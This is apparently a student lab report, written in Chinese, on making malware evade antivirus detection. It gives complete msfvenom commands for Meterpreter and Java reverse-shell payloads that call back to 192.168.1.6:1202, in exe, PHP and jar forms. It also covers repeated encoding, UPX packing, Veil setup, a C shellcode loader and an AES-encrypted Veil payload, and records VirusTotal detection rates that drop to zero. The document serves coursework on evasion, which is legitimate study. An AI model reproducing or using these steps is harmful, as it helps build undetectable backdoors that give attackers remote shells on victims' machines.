Exp3-免杀原理
一、实践目标
·正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
·veil,加壳工具
·使用C + shellcode编程
·通过组合应用各种技术实现恶意代码免杀
二、实践内容
实验环境为免杀测试平台:https://www.virustotal.com/
1.检测实验2生成的后门程序
2.使用Unicode编码一次
输入指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.6 LPORT=1202 -f exe > 20191202.exe
2.使用Unicode编码多次
这里我先进行两次编码
输入指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -2 -b ‘\x00’ LHOST=192.168.1.6 LPORT=1202 -f exe > 20191202.exe
再进行10次编码
输入指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=192.168.1.6 LPORT=1202 -f exe > 20191202.exe
编码一两次,被检测出来的几率没有明显变化,但是很多次编码,被检测出来的可能性就会降低。
3.生成php文件
输入指令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=1202 x> 20191202-php.php
可以看出,生成php文件后检测率明显下降了
4.生成jar文件
输入指令
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.6 LPORT=1202 -f jar > 20191202-jar.jar
生成jar文件后检测率也明显下降了
5.安装veil
输入指令
sudo apt-get install veil-evasion
输入指令
cd /usr/share/veil/config
vim setup.sh
修改第260行,再输入“veil”然后一直next下去。
结束后会出现报错
为解决报错,输入指令
/usr/share/veil/config/setup.sh --force --silent
6.使用veil
输入指令
veil use evasion use c/meterpreter/rev_tcp.py set LHOST 192.168.1.6 set LPORT 1202 generate
使用veil后检测率还是很高
7.使用加壳工具
输入指令
upx 20191202-veil.exe -o 20191202-veil-upx.exe
加壳后检测率并没有下降太多。
8.使用C+Shellcode编程
通过msv得到Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=1202 -f c
输入指令
vim shellcode_c.c
创建一个.c文件,输入如下内容:
输入指令
i686-w64-mingw32-g++ shellcode_c.c -o 20191202-shellcode-c.exe
进行编译
检测率明显下降
9.通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
输入指令
veil use 1 list
寻找playload
使用aes_encrypt_py生成后门
输入指令
use python/shellcode_inject/aes_encrypt.py
generate
选择2
输入IP和端口号
生成.py文件
最终检测率为0,这里的原理是使用了数据加密的方式进行多次编译后门软件
三、基础问题回答
(1)杀软是如何检测出恶意代码的?
检测特征码:人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
启发式恶意软件检测:如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
基于行为检测:与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
(2)免杀是做什么的?
用来让恶意程序或病毒不被杀毒软件发现,实现二者共存。
(3)免杀的基本方法有哪些?
特征码修改;加壳或加伪装壳;等价替换;通用跳转;指令顺序调换。
(4)开启杀软能绝对防止电脑中恶意代码吗?
并不一定,杀毒软件也并不是万能的,偶尔也会出现一些漏杀,不过总体来说还是比较安全可靠的。
四、实验体会
本次实验中,我对veil的使用有了一定的了解。在做实验之前,看到一些同学在安装veil时出现一些问题,而老师在视频中也说了安装veil会有些麻烦,因此我在安装时十分小心,万幸中途没有报错。